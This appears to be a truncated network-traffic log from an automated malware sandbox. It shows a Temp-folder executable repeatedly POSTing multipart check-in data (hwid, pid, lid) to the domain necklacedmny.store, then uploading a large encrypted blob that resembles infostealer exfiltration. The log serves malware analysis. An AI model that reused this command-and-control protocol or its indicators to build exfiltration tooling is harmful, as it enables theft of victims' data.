10	192.168.2.6	50001	188.114.97.3	443	364	C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:19:22 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12864 Host: necklacedmny.store
2024-10-31 00:19:22 UTC	12864	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 42 39 42 35 43 33 39 44 31 46 32 31 30 34 32 34 41 34 38 36 33 41 43 44 34 31 34 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"900B9B5C39D1F210424A4863ACD414C2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 00:19:23 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:19:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p085rf5shn40u35ph7jsd3pu3b; expires=Sun, 23-Feb-2025 18:06:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uWrfJxuUIdXkgheI%2BGLw8n%2FAJSG7b6UK4PWJiIndpNPA0lEWtLrx7nsOMHlaVbPHxSGtQ%2Fy3AG3aGYFPznHqqFLw15wlMsm5ynnUNQ%2FQeIprIbYdYjRBpKlyudXCQEz97KWj2Yk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf7923e9162845-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1077&sent=8&recv=16&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13806&delivery_rate=2625566&cwnd=251&unsent_bytes=0&cid=9afa8eac9ba0e050&ts=396&x=0"
2024-10-31 00:19:23 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-31 00:19:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	50002	188.114.97.3	443	364	C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:19:24 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15110 Host: necklacedmny.store
2024-10-31 00:19:24 UTC	15110	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 42 39 42 35 43 33 39 44 31 46 32 31 30 34 32 34 41 34 38 36 33 41 43 44 34 31 34 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"900B9B5C39D1F210424A4863ACD414C2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 00:19:25 UTC	1023	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:19:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cairm7ncf4ff4r7chav6ea8km5; expires=Sun, 23-Feb-2025 18:06:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r1xZ5qTIo4gMuPBuVNJIzuXEa1CU6%2F69%2FHGQb2m9Wc%2Fajt8R%2BDU6sizfojVt0smpuyEqqXb%2FTCKiAhgMbXqqBtHOGrLnDfKMdZBC2uAae2lNh3hcZSddGpqeNoczxgqYo9Ol%2FyY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf792f5fd93467-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1155&sent=12&recv=20&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16052&delivery_rate=2569653&cwnd=249&unsent_bytes=0&cid=403d18e9ab8a2c38&ts=962&x=0"
2024-10-31 00:19:25 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-31 00:19:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	50005	188.114.97.3	443	364	C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:19:26 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19968 Host: necklacedmny.store
2024-10-31 00:19:26 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 42 39 42 35 43 33 39 44 31 46 32 31 30 34 32 34 41 34 38 36 33 41 43 44 34 31 34 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"900B9B5C39D1F210424A4863ACD414C2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 00:19:26 UTC	4637	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
2024-10-31 00:19:27 UTC	1021	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:19:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3n61d8do760pnh4df6364tq0bc; expires=Sun, 23-Feb-2025 18:06:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uLDTwTCRHoTvtFWbnX%2FniIUQ2ytorxT5ajkn%2B3eGxhTeRog1Gak4iV8xbDPq3HPjZ2A%2F4bZ8ZkIYieE0MT%2FiRMc2qMrnACCNh0Dki1E8up03TbMBLZRS8JGnxf%2FKl0YnTIAWLYE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf793c7f162c9e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1537&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2844&recv_bytes=20932&delivery_rate=1850479&cwnd=251&unsent_bytes=0&cid=2250507e1dd29361&ts=686&x=0"
2024-10-31 00:19:27 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-31 00:19:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	50007	188.114.97.3	443	364	C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:19:29 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1247 Host: necklacedmny.store
2024-10-31 00:19:29 UTC	1247	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 42 39 42 35 43 33 39 44 31 46 32 31 30 34 32 34 41 34 38 36 33 41 43 44 34 31 34 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"900B9B5C39D1F210424A4863ACD414C2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 00:19:29 UTC	1012	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:19:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qj2or34sjbm6b1utej261ufj3m; expires=Sun, 23-Feb-2025 18:06:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LFdMVgfS1COVxru0p5N79gX6PAmaxVN7SUJRWw4DCCKd%2B987bmEcHHkAKusmD49cj2pdQW4sQHu7PzkevQXrIdvuS%2BVTAcXaJaBp2Zi2yYVzUSELVL9fBKLPqUnK2Jtej7203TI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf794ae8212d2f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1323&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2166&delivery_rate=2145185&cwnd=251&unsent_bytes=0&cid=539767d7f6a0e089&ts=494&x=0"
2024-10-31 00:19:29 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-31 00:19:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	50010	188.114.97.3	443	364	C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:19:33 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 567234 Host: necklacedmny.store
2024-10-31 00:19:33 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 42 39 42 35 43 33 39 44 31 46 32 31 30 34 32 34 41 34 38 36 33 41 43 44 34 31 34 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"900B9B5C39D1F210424A4863ACD414C2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 00:19:33 UTC	15331	OUT	Data Raw: c8 cb 24 f0 29 e9 00 73 38 10 67 4a cd 67 01 e6 86 30 90 60 18 d5 9b a0 b1 be 09 cc 02 8a 9f 04 8a bb 8d 12 62 14 03 6f 5a 1a 39 74 22 f6 63 9f 6c 9f 10 38 9b 94 ee e4 81 03 cd 4a 1b 41 a6 e8 58 89 2c a7 72 48 51 1d a6 4a f0 4b b5 91 c9 f7 31 35 3c fe 13 42 4a bb 65 7d 9c b9 50 cc 28 94 f0 62 79 4a 9d 37 bd ff 1e b5 da 42 41 6b 18 96 ef 2d 05 36 ee bc 9f a5 65 98 e2 53 98 79 4a da 66 73 a0 9b 12 ab c1 59 94 4b 5a 55 aa 1d 7d 93 e1 cb c9 17 22 93 68 88 3f 11 dc 90 5d fd 76 13 36 94 28 7c 1a 6e 84 85 fd 7f 41 ec cd 8f a2 ca 9f d5 6a 06 44 f2 40 e2 d2 18 73 f2 f3 25 be af 4a 49 5d 58 6e c3 07 f5 0b 48 40 43 a5 78 a1 5f 49 68 41 2d 03 a5 93 93 5d e2 f7 fa 42 18 b2 bf 6d 17 b3 69 5a a1 bd f5 80 3f ad 8f 99 53 e3 a6 14 72 96 15 d9 62 1b 4b 26 ed 0f d4 79 9f a7 Data Ascii: $)s8gJg0`boZ9t"cl8JAX,rHQJK15<BJe}P(byJ7BAk-6eSyJfsYKZU}"h?]v6(\|nAjD@s%JI]XnH@Cx_IhA-]BmiZ?SrbK&y
2024-10-31 00:19:33 UTC	15331	OUT	Data Raw: 57 21 44 aa 64 57 72 61 a7 ee c6 cc 51 ea 50 83 8e a0 69 89 5c f9 a4 b4 e3 49 bb 35 d3 a9 67 ed fc 86 d0 bf 33 9f a1 6a 65 49 a7 16 2d b5 79 29 9e da 3b 02 b9 d0 e4 97 6a 77 77 d6 eb 62 6b a5 88 ca d1 3f db ff 5f 78 d8 7c a6 10 a9 5a 77 79 57 67 35 dd b9 45 4c f3 cf a6 b2 4b a7 a7 54 8e 18 13 08 3b bc de 6b 25 90 56 d2 86 ee 06 de ee a7 c7 29 08 26 df 85 8c 34 50 aa 85 6a 9d 6e 0f 7b cd 0e 45 07 14 05 47 c5 04 39 23 90 d5 24 4c 33 c2 b2 29 bc 94 80 61 49 f6 3c 6a 5b 55 4b be 5b 67 32 88 f4 6f c2 d5 46 bb cc e7 f1 dc c7 15 a2 10 b2 4a b7 7b 9e 49 11 20 8c 29 3b d2 a3 42 e3 d6 df 7c f6 de 12 56 a6 be f6 39 d4 07 bd 7d b4 7a 87 62 e9 66 d2 36 95 28 f8 c6 a4 ca 70 84 7d 6e 18 cb c4 6e fd 1e dd fa 47 53 82 d3 0e d4 56 75 db 2d cd fc f1 49 bd 21 e7 f7 7b 03 65 Data Ascii: W!DdWraQPi\I5g3jeI-y);jwwbk?_x\|ZwyWg5ELKT;k%V)&4Pjn{EG9#$L3)aI<j[UK[g2oFJ{I );B\|V9}zbf6(p}nnGSVu-I!{e
2024-10-31 00:19:33 UTC	15331	OUT	Data Raw: 34 17 a2 e6 2e ed b2 61 3b dd ba f1 1e a3 7d 0c c5 db 79 8f bf 81 a4 ac 80 df 4d 74 be ea d4 6f 93 c3 cb 39 6d e7 35 af e2 12 c5 0f 3e 9f a4 a7 2e 15 fe 59 83 32 ba 8a 3d 70 94 97 87 74 8e a5 35 2f 93 16 cf df 98 d8 19 7f 3c 57 af f1 3c 37 e8 a4 45 8e f0 3f 54 e2 ba d2 68 33 26 a0 e3 a5 c9 84 6c b8 1b cd a0 70 74 ac 06 66 bf c2 78 f4 ea 52 80 63 7d 93 9a 61 c0 34 37 77 c8 d9 69 f7 47 c2 ac ec 55 e5 51 5e 19 53 b1 99 44 d5 58 f1 e2 b0 54 17 3b 3d b8 cd 6e ca bd 23 0e a5 02 e0 9d 29 4f 53 ed f3 be 90 8e e0 cd 75 1a 5b bc 83 65 be 98 30 e6 b9 b3 f2 e1 a7 6b 11 5e 5c 6a 90 e7 a4 2a 03 9c f6 aa ed 5b 7a bb 86 ed 0a 0d 8d e7 05 3b f2 e4 37 59 af c4 3e 20 ee 16 9c 91 22 1f 3a 82 a2 1e 97 82 c2 37 d6 07 9a bb e2 5f 1f 24 d3 24 37 e3 90 e0 5d 47 08 41 0c 30 cf 28 Data Ascii: 4.a;}yMto9m5>.Y2=pt5/<W<7E?Th3&lptfxRc}a47wiGUQ^SDXT;=n#)OSu[e0k^\j*[z;7Y> ":7_$$7]GA0(
2024-10-31 00:19:33 UTC	15331	OUT	Data Raw: 17 c1 5a 8c 28 5f 7b db 09 49 d6 45 d8 ae 57 75 e6 35 09 d4 ca 0f 57 42 01 fb 90 19 a5 f1 07 c9 33 6e c7 6c 14 29 b0 79 87 ee 3c 11 e2 f7 44 41 00 76 df ac 8d 28 ae ed 69 12 e1 91 a3 f8 b7 2e 09 bf 28 33 22 07 6e 43 4e 78 70 60 44 e0 27 b7 d0 87 eb de da d1 c4 99 bc cb 77 b2 41 4d e0 c8 c2 d0 a7 8c 20 48 82 30 a1 5b 51 75 36 de 32 b2 13 69 38 89 55 41 85 df 27 4c 3e e7 d2 84 6e 60 bb 43 f9 d8 63 13 7f a4 a1 ce 61 bd 8b eb 08 ef 3d e9 75 d1 ff 7b e3 af 43 6a 16 06 4d fa 53 ed 5e 20 fd fc 0d 31 5b 44 fa c6 86 b2 ac f2 e8 14 ec 99 9c 5f ac 3b a6 8a e3 13 3e fe f0 9d f0 89 ed 5a b2 31 dd ef 44 a5 c6 1c c2 44 f9 84 4a d0 4f 63 49 20 79 5c 34 e1 ff 1f ac ff 5b cc e8 6d e0 5d 31 d2 6d 6b 12 f9 47 42 4b 4d f9 11 64 b2 16 3b 2f 0d 7e 6d a0 fb 0b 3d 12 b2 7c b0 91 Data Ascii: Z(_{IEWu5WB3nl)y<DAv(i.(3"nCNxp`D'wAM H0[Qu62i8UA'L>n`Cca=u{CjMS^ 1[D_;>Z1DDJOcI y\4[m]1mkGBKMd;/~m=\|
2024-10-31 00:19:33 UTC	15331	OUT	Data Raw: e6 5c 74 aa 36 d3 e4 d6 56 62 d0 e2 9b 43 4e 9f cd 8b ba 13 d4 94 cf d5 f2 70 e6 5b 3d f1 67 ba d5 5a f5 1a bd 5d 23 b6 fc 1a 8c dd 87 ed f8 1e 1f a2 f7 64 3b 39 74 a6 76 52 e7 6f 88 00 ab b1 34 0d 8b 97 56 08 dd 16 de b2 44 54 57 dc 19 58 61 ed d0 89 fb 49 b5 2e 36 2d 8e 88 8a 09 8d 14 e6 bc fa 97 d8 46 1c 6a 34 1d 69 48 14 fb 90 75 3b da 2c 09 74 40 13 05 17 45 cb 6f e3 d7 a3 89 a9 1f e5 2d 71 f0 3b 41 3c 63 66 9c 0f a1 46 24 f6 a1 48 4a 80 7e cc e0 7f 91 76 f7 bf 8d 95 9a 24 88 fd de 55 87 19 21 b1 43 87 89 96 60 e8 18 01 c0 d1 00 34 45 f4 0a 98 7f d4 de ee a9 f3 e0 38 70 7a 71 53 d2 a9 5f 17 41 db 46 52 68 6a 10 17 ea ba 7b 88 11 16 24 38 08 ee d7 51 24 00 83 37 7a f1 d6 7c ab 0c 98 b8 b0 ae cd 6a 17 9e a4 e1 50 52 98 bf 30 d1 20 ca 61 81 b2 23 d5 c2 Data Ascii: \t6VbCNp[=gZ]#d;9tvRo4VDTWXaI.6-Fj4iHu;,t@Eo-q;A<cfF$HJ~v$U!C`4E8pzqS_AFRhj{$8Q$7z\|jPR0 a#
2024-10-31 00:19:33 UTC	15331	OUT	Data Raw: aa 5f 60 2b a5 8c 7b 00 7a 68 6b a5 3f bf 63 7c 7a d4 07 d1 44 df 20 f9 87 12 f7 ad 60 03 c3 63 99 45 ad b5 55 b2 7f 6e 43 51 53 99 12 e3 04 fc c2 d1 f2 a6 b3 12 4a 72 63 6e a3 2a ef ae a5 65 cb a6 10 c1 57 28 7f 09 40 df cb 6d 82 33 91 84 b8 64 5e ee f9 3b ed 3c f9 fc 76 32 e7 f4 fd 8d f8 ac a4 09 dd 6a 56 56 7c d6 eb 64 aa 08 c8 fb fa 3d 22 7d d8 c6 80 3c fa 01 0e f1 c1 97 1d 63 6a ad d3 2e 12 ac ee 37 07 e1 25 1d ca 9f 25 55 c7 86 26 60 47 55 81 fd 6a c9 9d fa 0a c1 0b 40 35 8d c9 ca 99 61 5e e5 93 ba f5 6e a5 8e f7 bb 89 f2 00 df 90 9b 42 25 5e 39 4f 86 a3 f7 28 bf 12 05 8f 0c 66 56 eb 5a 90 de 63 68 f1 d7 b7 f6 1a e3 b0 50 eb b0 d5 d9 20 3d 36 4b f0 39 8b a5 c1 fb b0 48 da c8 cd 5f 5b 13 48 ed d7 ad d1 e5 a7 cc 72 dc fb bb a7 95 1e e3 6e 11 87 d6 d9 Data Ascii: _`+{zhk?c\|zD `cEUnCQSJrcn*eW(@m3d^;<v2jVV\|d="}<cj.7%%U&`GUj@5a^nB%^9O(fVZchP =6K9H_[Hrn
2024-10-31 00:19:33 UTC	15331	OUT	Data Raw: 55 4f 76 e1 77 1b a6 58 0a 67 37 f9 3d 90 15 bc ad 29 7a 55 f0 d4 47 24 7e 68 c3 26 b0 f9 59 09 6c 07 c9 7e 65 9a 9e 10 bb 37 38 b5 31 0f 42 39 c9 82 b9 fb a5 01 a5 c1 ec 96 6e e7 08 b3 71 a8 21 f1 11 92 cb 5e 6d 26 96 45 b3 cf fd 00 f8 b9 6a 8d 83 6a 54 1f ff a8 97 ec 76 e5 e5 5d 09 19 50 86 40 09 a6 a4 5b 85 65 0d 91 58 8f ee 48 6a b0 4f 08 cc 16 55 1f 65 19 1a 5c 7d a9 f6 00 49 15 e9 7c b5 85 2d ac de bf 31 14 3b a6 75 58 77 6c 48 98 20 45 df 27 7d 17 ca 20 6e bc a6 08 4c b8 0a 8c 29 60 39 b9 85 43 da a3 1d 35 a7 83 9d 74 88 78 a0 a9 21 fc 17 2f 05 7f 7a 50 f0 49 24 df 1c 91 13 a6 bc 49 0f 62 9b b3 d3 97 43 62 6a de a7 4a 34 a3 b0 84 c7 d4 4a d5 d0 e6 5b 5a 4f 23 8a f5 22 05 db 82 be f9 7c 08 5a e4 04 9e da 38 fb 1f 52 b3 4c 61 a3 bc 98 48 9d 6e 1d 4d Data Ascii: UOvwXg7=)zUG$~h&Yl~e781B9nq!^m&EjjTv]P@[eXHjOUe\}I\|-1;uXwlH E'} nL)`9C5tx!/zPI$IbCbjJ4J[ZO#"\|Z8RLaHnM
2024-10-31 00:19:33 UTC	15331	OUT	Data Raw: 05 ce 35 5a 7f 9f 7d 7e 66 4c c1 ec 6a 60 a6 29 69 f0 93 d6 f6 a4 e4 6f 03 49 b1 e2 99 f7 e8 92 ff 35 4a 77 c4 c0 8e d2 3a ff 1f 9a 78 18 55 f9 29 a1 38 7e 57 72 83 ea 5d d3 e0 b4 c2 aa cc 7d 38 ab 14 46 c5 aa 40 8c 83 ef 38 be a3 87 d6 d3 4f 17 aa e3 af d1 b4 a6 b4 5f cd 3f 59 23 87 c3 4b a6 d3 0a 07 5b cc 83 18 cd 45 c7 d6 27 ce 7d e7 46 19 47 03 10 56 f4 f2 5b 8d eb ff 8e ca af 23 e8 d2 84 01 71 00 c3 e1 3b 13 a4 bd da b1 ce d4 77 80 cc cb 3e 96 9c 9a 02 e3 37 17 65 35 0b 7e f1 d3 03 ff 39 45 fa 1c 96 14 a2 2e 1a c1 b0 92 20 3b 11 e7 da 4d 51 dd 91 f4 b3 a8 54 3f 36 fe 0f ba 3f 0a 6c 89 b2 db a5 24 03 3a ea 4e af 2a 29 fc 73 26 35 8e 79 da e1 67 a4 b0 cc 01 c1 6f 8a f2 e9 54 ff ed d3 15 e3 46 68 2e 5b 4d db b2 04 39 07 aa 